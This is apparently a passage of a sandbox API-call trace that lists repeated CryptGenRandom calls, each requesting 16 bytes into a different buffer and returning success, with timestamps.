CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671d2c | out: pbBuffer=0x3671d2c) returned 1 [0155.972] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671e1c | out: pbBuffer=0x3671e1c) returned 1 [0155.973] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671fac | out: pbBuffer=0x3671fac) returned 1 [0155.983] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671ebc | out: pbBuffer=0x3671ebc) returned 1 [0158.422] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36710d4 | out: pbBuffer=0x36710d4) returned 1 [0158.430] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671174 | out: pbBuffer=0x3671174) returned 1 [0158.434] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671994 | out: pbBuffer=0x3671994) returned 1 [0158.438] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671b74 | out: pbBuffer=0x3671b74) returned 1 [0158.485] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x367128c | out: pbBuffer=0x367128c) returned 1 [0158.491] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x367114c | out: pbBuffer=0x367114c) returned 1 [0158.526] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x367123c | out: pbBuffer=0x367123c) returned 1 [0158.528] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671214 | out: pbBuffer=0x3671214) returned 1 [0158.535] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f714 | out: pbBuffer=0x366f714) returned 1 [0158.555] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668a5c | out: pbBuffer=0x3668a5c) returned 1 [0158.560] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668a0c | out: pbBuffer=0x3668a0c) returned 1 [0158.580] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36687b4 | out: pbBuffer=0x36687b4) returned 1 [0158.586] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366882c | out: pbBuffer=0x366882c) returned 1 [0158.591] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668444 | out: pbBuffer=0x3668444) returned 1 [0158.607] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668534 | out: pbBuffer=0x3668534) returned 1 [0158.623] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668b24 | out: pbBuffer=0x3668b24) returned 1 [0158.631] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3655f5c | out: pbBuffer=0x3655f5c) returned 1 [0158.636] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ab9c | out: pbBuffer=0x366ab9c) returned 1 [0158.641] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3655f84 | out: pbBuffer=0x3655f84) returned 1 [0158.644] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a3cc | out: pbBuffer=0x366a3cc) returned 1 [0158.650] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a55c | out: pbBuffer=0x366a55c) returned 1 [0158.655] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a69c | out: pbBuffer=0x366a69c) returned 1 [0158.718] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366aa34 | out: pbBuffer=0x366aa34) returned 1 [0158.720] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ae6c | out: pbBuffer=0x366ae6c) returned 1 [0158.726] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366afac | out: pbBuffer=0x366afac) returned 1 [0158.729] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ab4c | out: pbBuffer=0x366ab4c) returned 1 [0158.734] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ae94 | out: pbBuffer=0x366ae94) returned 1 [0158.738] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ada4 | out: pbBuffer=0x366ada4) returned 1 [0158.741] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366acdc | out: pbBuffer=0x366acdc) returned 1 [0158.744] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ad7c | out: pbBuffer=0x366ad7c) returned 1 [0158.749] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a9e4 | out: pbBuffer=0x366a9e4) returned 1 [0158.753] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a14c | out: pbBuffer=0x366a14c) returned 1 [0158.756] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a7dc | out: pbBuffer=0x366a7dc) returned 1 [0158.759] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a444 | out: pbBuffer=0x366a444) returned 1 [0158.763] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a1c4 | out: pbBuffer=0x366a1c4) returned 1 [0158.767] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366aa0c | out: pbBuffer=0x366aa0c) returned 1 [0158.770] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ac8c | out: pbBuffer=0x366ac8c) returned 1 [0158.774] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a87c | out: pbBuffer=0x366a87c) returned 1 [0158.815] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a264 | out: pbBuffer=0x366a264) returned 1 [0158.819] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366af5c | out: pbBuffer=0x366af5c) returned 1 [0158.821] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a2dc | out: pbBuffer=0x366a2dc) returned 1 [0158.824] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a8f4 | out: pbBuffer=0x366a8f4) returned 1 [0158.850] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366aee4 | out: pbBuffer=0x366aee4) returned 1 [0158.870] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366afd4 | out: pbBuffer=0x366afd4) returned 1 [0158.872] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a19c | out: pbBuffer=0x366a19c) returned 1 [0158.876] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a214 | out: pbBuffer=0x366a214) returned 1 [0158.887] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a82c | out: pbBuffer=0x366a82c) returned 1 [0159.024] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a0d4 | out: pbBuffer=0x366a0d4) returned 1 [0159.027] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a05c | out: pbBuffer=0x366a05c) returned 1 [0159.031] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a084 | out: pbBuffer=0x366a084) returned 1 [0159.035] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a0ac | out: pbBuffer=0x366a0ac) returned 1 [0159.038] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a46c | out: pbBuffer=0x366a46c) returned 1 [0159.041] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a8cc | out: pbBuffer=0x366a8cc) returned 1 [0159.044] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a8a4 | out: pbBuffer=0x366a8a4) returned 1 [0159.050] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a28c | out: pbBuffer=0x366a28c) returned 1 [0159.054] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a7b4 | out: pbBuffer=0x366a7b4) returned 1 [0159.056] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a96c | out: pbBuffer=0x366a96c) returned 1 [0159.059] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366aad4 | out: pbBuffer=0x366aad4) returned 1 [0159.077] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a6ec | out: pbBuffer=0x366a6ec) returned 1 [0159.080] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a714 | out: pbBuffer=0x366a714) returned 1 [0159.083] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a78c | out: pbBuffer=0x366a78c) returned 1 [0159.086] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a624 | out: pbBuffer=0x366a624) returned 1 [0159.092] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a9bc | out: pbBuffer=0x366a9bc) returned 1 [0159.162] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a3f4 | out: pbBuffer=0x366a3f4) returned 1 [0159.164] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a91c | out: pbBuffer=0x366a91c) returned 1 [0159.168] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a494 | out: pbBuffer=0x366a494) returned 1 [0159.172] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a674 | out: pbBuffer=0x366a674) returned 1 [0159.175] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a854 | out: pbBuffer=0x366a854) returned 1 [0159.178] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ab74 | out: pbBuffer=0x366ab74) returned 1 [0159.181] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ac14 | out: pbBuffer=0x366ac14) returned 1 [0159.185] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366acb4 | out: pbBuffer=0x366acb4) returned 1 [0159.189] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ad54 | out: pbBuffer=0x366ad54) returned 1 [0159.191] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x347fafc | out: pbBuffer=0x347fafc) returned 1 [0159.194] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x347fa84 | out: pbBuffer=0x347fa84) returned 1 [0159.199] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x347f2dc | out: pbBuffer=0x347f2dc) returned 1 [0159.202] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x347fa0c | out: pbBuffer=0x347fa0c) returned 1 [0159.205] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x347f8f4 | out: pbBuffer=0x347f8f4) returned 1 [0159.209] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x347f96c | out: pbBuffer=0x347f96c) returned 1 [0159.213] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664c64 | out: pbBuffer=0x3664c64) returned 1 [0159.216] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664a0c | out: pbBuffer=0x3664a0c) returned 1 [0159.219] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366441c | out: pbBuffer=0x366441c) returned 1 [0159.222] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664b4c | out: pbBuffer=0x3664b4c) returned 1 [0159.227] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664994 | out: pbBuffer=0x3664994) returned 1 [0159.230] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664da4 | out: pbBuffer=0x3664da4) returned 1 [0159.233] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366482c | out: pbBuffer=0x366482c) returned 1 [0159.236] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664aac | out: pbBuffer=0x3664aac) returned 1 [0159.240] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36641c4 | out: pbBuffer=0x36641c4) returned 1 [0159.243] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664f34 | out: pbBuffer=0x3664f34) returned 1 [0159.246] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664bc4 | out: pbBuffer=0x3664bc4) returned 1 [0159.253] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664124 | out: pbBuffer=0x3664124) returned 1 [0159.257] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664354 | out: pbBuffer=0x3664354) returned 1 [0159.260] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664214 | out: pbBuffer=0x3664214) returned 1 [0159.263] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36645d4 | out: pbBuffer=0x36645d4) returned 1 [0159.267] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3664494 | out: pbBuffer=0x3664494) returned 1 [0159.271] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36646c4 | out: pbBuffer=0x36646c4) returned 1 [0159.274] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36643a4 | out: pbBuffer=0x36643a4) returned 1 [0159.277] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3646ee4 | out: pbBuffer=0x3646ee4) returned 1 [0159.281] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3575444 | out: pbBuffer=0x3575444) returned 1 [0159.285] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x35752dc | out: pbBuffer=0x35752dc) returned 1 [0159.288] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x35754e4 | out: pbBuffer=0x35754e4) returned 1 [0159.291] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668f84 | out: pbBuffer=0x3668f84) returned 1 [0159.294] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668444 | out: pbBuffer=0x3668444) returned 1 [0159.299] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668cb4 | out: pbBuffer=0x3668cb4) returned 1 [0159.302] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36687b4 | out: pbBuffer=0x36687b4) returned 1 [0159.305] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668a0c | out: pbBuffer=0x3668a0c) returned 1 [0159.308] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668afc | out: pbBuffer=0x3668afc) returned 1 [0159.313] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366873c | out: pbBuffer=0x366873c) returned 1 [0159.315] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366832c | out: pbBuffer=0x366832c) returned 1 [0159.318] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668b74 | out: pbBuffer=0x3668b74) returned 1 [0159.321] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366869c | out: pbBuffer=0x366869c) returned 1 [0159.327] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366864c | out: pbBuffer=0x366864c) returned 1 [0159.330] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668764 | out: pbBuffer=0x3668764) returned 1 [0159.332] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366837c | out: pbBuffer=0x366837c) returned 1 [0159.335] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366846c | out: pbBuffer=0x366846c) returned 1 [0159.340] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668354 | out: pbBuffer=0x3668354) returned 1 [0159.344] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668d2c | out: pbBuffer=0x3668d2c) returned 1 [0159.347] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36680ac | out: pbBuffer=0x36680ac) returned 1 [0159.350] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3668944 | out: pbBuffer=0x3668944) returned 1 [0159.355] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36688cc | out: pbBuffer=0x36688cc) returned 1 [0159.358] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f714 | out: pbBuffer=0x366f714) returned 1 [0159.361] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f14c | out: pbBuffer=0x366f14c) returned 1 [0159.365] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f304 | out: pbBuffer=0x366f304) returned 1 [0159.370] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366fdcc | out: pbBuffer=0x366fdcc) returned 1 [0159.373] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f50c | out: pbBuffer=0x366f50c) returned 1 [0159.376] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f5fc | out: pbBuffer=0x366f5fc) returned 1 [0159.379] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f3a4 | out: pbBuffer=0x366f3a4) returned 1 [0159.384] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f584 | out: pbBuffer=0x366f584) returned 1 [0159.387] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f854 | out: pbBuffer=0x366f854) returned 1 [0159.391] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ffac | out: pbBuffer=0x366ffac) returned 1 [0159.394] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366febc | out: pbBuffer=0x366febc) returned 1 [0159.399] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366fe1c | out: pbBuffer=0x366fe1c) returned 1 [0159.402] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366fcdc | out: pbBuffer=0x366fcdc) returned 1 [0159.405] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366ff84 | out: pbBuffer=0x366ff84) returned 1 [0159.409] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f37c | out: pbBuffer=0x366f37c) returned 1 [0159.416] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f4bc | out: pbBuffer=0x366f4bc) returned 1 [0159.420] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f444 | out: pbBuffer=0x366f444) returned 1 [0159.423] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f534 | out: pbBuffer=0x366f534) returned 1 [0159.427] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f494 | out: pbBuffer=0x366f494) returned 1 [0159.432] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f91c | out: pbBuffer=0x366f91c) returned 1 [0159.435] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366fc8c | out: pbBuffer=0x366fc8c) returned 1 [0159.438] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366fd2c | out: pbBuffer=0x366fd2c) returned 1 [0159.443] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366fbec | out: pbBuffer=0x366fbec) returned 1 [0159.447] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366fb24 | out: pbBuffer=0x366fb24) returned 1 [0159.450] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366fb74 | out: pbBuffer=0x366fb74) returned 1 [0159.453] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366fc14 | out: pbBuffer=0x366fc14) returned 1 [0159.458] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366faac | out: pbBuffer=0x366faac) returned 1 [0159.463] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366fa34 | out: pbBuffer=0x366fa34) returned 1 [0159.466] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366fa84 | out: pbBuffer=0x366fa84) returned 1 [0159.469] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f0ac | out: pbBuffer=0x366f0ac) returned 1 [0159.472] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f82c | out: pbBuffer=0x366f82c) returned 1 [0159.477] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f05c | out: pbBuffer=0x366f05c) returned 1 [0159.480] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f034 | out: pbBuffer=0x366f034) returned 1 [0159.483] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f0d4 | out: pbBuffer=0x366f0d4) returned 1 [0159.486] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f124 | out: pbBuffer=0x366f124) returned 1 [0159.491] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f6ec | out: pbBuffer=0x366f6ec) returned 1 [0159.494] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f69c | out: pbBuffer=0x366f69c) returned 1 [0159.497] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f64c | out: pbBuffer=0x366f64c) returned 1 [0159.501] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f78c | out: pbBuffer=0x366f78c) returned 1 [0159.506] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f87c | out: pbBuffer=0x366f87c) returned 1 [0159.509] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f1c4 | out: pbBuffer=0x366f1c4) returned 1 [0159.512] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x347e0fc | out: pbBuffer=0x347e0fc) returned 1 [0159.515] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x367191c | out: pbBuffer=0x367191c) returned 1 [0159.520] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671214 | out: pbBuffer=0x3671214) returned 1 [0159.523] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x367119c | out: pbBuffer=0x367119c) returned 1 [0159.526] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671f0c | out: pbBuffer=0x3671f0c) returned 1 [0159.529] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x367128c | out: pbBuffer=0x367128c) returned 1 [0159.534] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671b74 | out: pbBuffer=0x3671b74) returned 1 [0159.537] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x367196c | out: pbBuffer=0x367196c) returned 1 [0159.540] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36710fc | out: pbBuffer=0x36710fc) returned 1 [0159.543] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36710d4 | out: pbBuffer=0x36710d4) returned 1 [0159.548] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671ebc | out: pbBuffer=0x3671ebc) returned 1 [0159.551] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671dcc | out: pbBuffer=0x3671dcc) returned 1 [0159.554] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671c3c | out: pbBuffer=0x3671c3c) returned 1 [0159.557] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671d2c | out: pbBuffer=0x3671d2c) returned 1 [0159.562] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671a34 | out: pbBuffer=0x3671a34) returned 1 [0159.565] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671c8c | out: pbBuffer=0x3671c8c) returned 1 [0159.569] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671fd4 | out: pbBuffer=0x3671fd4) returned 1 [0159.572] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671bc4 | out: pbBuffer=0x3671bc4) returned 1 [0159.580] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671a5c | out: pbBuffer=0x3671a5c) returned 1 [0159.583] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36710ac | out: pbBuffer=0x36710ac) returned 1 [0159.586] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671264 | out: pbBuffer=0x3671264) returned 1 [0159.589] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x347e0fc | out: pbBuffer=0x347e0fc) returned 1 [0159.594] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x347e05c | out: pbBuffer=0x347e05c) returned 1 [0159.598] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f174 | out: pbBuffer=0x366f174) returned 1 [0159.600] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f2b4 | out: pbBuffer=0x366f2b4) returned 1 [0159.604] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f214 | out: pbBuffer=0x366f214) returned 1 [0159.615] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f764 | out: pbBuffer=0x366f764) returned 1 [0159.618] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f87c | out: pbBuffer=0x366f87c) returned 1 [0159.621] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f7b4 | out: pbBuffer=0x366f7b4) returned 1 [0159.625] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f78c | out: pbBuffer=0x366f78c) returned 1 [0159.630] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366fd54 | out: pbBuffer=0x366fd54) returned 1 [0159.632] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f64c | out: pbBuffer=0x366f64c) returned 1 [0159.635] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f674 | out: pbBuffer=0x366f674) returned 1 [0159.639] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f69c | out: pbBuffer=0x366f69c) returned 1 [0159.643] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f28c | out: pbBuffer=0x366f28c) returned 1 [0159.647] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f6ec | out: pbBuffer=0x366f6ec) returned 1 [0159.650] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f19c | out: pbBuffer=0x366f19c) returned 1 [0159.655] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f124 | out: pbBuffer=0x366f124) returned 1 [0159.712] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f4e4 | out: pbBuffer=0x366f4e4) returned 1 [0159.715] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366f0d4 | out: pbBuffer=0x366f0d4) returned 1 [0159.718] 